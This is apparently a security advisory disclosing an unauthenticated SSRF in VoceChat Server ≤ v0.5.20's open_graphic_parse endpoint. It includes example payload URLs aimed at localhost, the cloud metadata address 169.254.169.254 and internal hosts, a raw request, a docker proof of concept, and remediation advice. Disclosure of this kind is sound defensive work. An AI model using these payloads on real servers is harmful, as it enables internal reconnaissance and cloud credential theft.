Go back

# SSRF Vulnerability in VoceChat Server ≤ v0.5.20

*Aug 6, 2026 | 12:00 AM*

**BUG_Author:** *yumeu*

**Affected Version:** VoceChat Server ≤ v0.5.20

**Vendor:** Privoce, Inc

**Software:** VoceChat Server

**Vulnerability Files:**

- `src/api/resource.rs`
- `crates/open-graph/src/fetcher.rs`

## Description:

1. **SSRF via Open Graphic Parse Endpoint:**

- In the file `src/api/resource.rs`, the `open_graphic_parse` function directly passes the user-supplied `url` parameter to `open_graph::fetch()` without any protocol validation, IP address filtering, or authentication checks.
- This can be exploited by sending a crafted GET request to `/api/resource/open_graphic_parse` with a malicious URL, forcing the server to initiate HTTP requests to arbitrary internal or external targets.

2. **Exploiting the SSRF:**

- By injecting arbitrary URLs into the `url` query parameter, an attacker can force the server to scan internal ports, access cloud metadata endpoints (e.g., `169.254.169.254`), or interact with internal services such as Redis, MySQL, and Elasticsearch.
- The endpoint is fully unauthenticated; any user with network access to the VoceChat service can exploit this vulnerability without registering or logging in.

3. **Example SSRF Payloads:**

- The following payloads can be used to probe internal services or access cloud metadata:

  **plain**

```
http://<target-ip>:3000/api/resource/open_graphic_parse?url=http://127.0.0.1:30
http://<target-ip>:3000/api/resource/open_graphic_parse?url=http://169.254.169.
http://<target-ip>:3000/api/resource/open_graphic_parse?url=http://192.168.1.1:
```

4. **Requesting the Vulnerable Endpoint:**

- Make an unauthenticated GET request to the vulnerable endpoint:

  **plain**

```
GET /api/resource/open_graphic_parse?url=http://127.0.0.1:3000 HTTP/1.1
Host: target:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Connection: close
```

5. **Verifying the Exploit:**

- If the exploit is successful, the server will return Open Graph metadata, service banners, or error messages from the targeted internal resource, confirming that unauthorized SSRF is possible.

- In cloud environments (AWS/Alibaba Cloud/Tencent Cloud), successful access to `169.254.169.254` may leak IAM role temporary credentials, leading to full cloud account compromise.

## Proof of Concept:

1. **Deploy the vulnerable application:**

**bash**

```bash
docker run -d --name vocechat -p 3000:3000 privoce/vocechat-server:latest
```

2. **Access the vulnerable endpoint without authentication:**

**plain**

```
http://localhost:3000/api/resource/open_graphic_parse?url=http://127.0.0.1:3000/
```

3. **Observe the response:**

- The server will return JSON data containing Open Graph metadata or raw response content from the internal target, confirming that the server performed an unauthorized outbound request on behalf of the attacker.

---

**Additional Notes:**

- **Impact:** Internal network reconnaissance, service information disclosure, lateral movement, and cloud metadata credential theft.
- **Root Cause:** The `url` parameter is fully user-controlled with no whitelist validation, no internal IP blocking, no protocol restrictions, and no authentication requirement.

- **Remediation:** Add authentication to the endpoint, implement URL whitelist validation, block private IP ranges (`127.0.0.0/8`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.0.0/16`), and apply DNS rebinding protection.

#vuln

*Share this post on:*



Back to Top

Copyright © 2026 | All rights reserved.

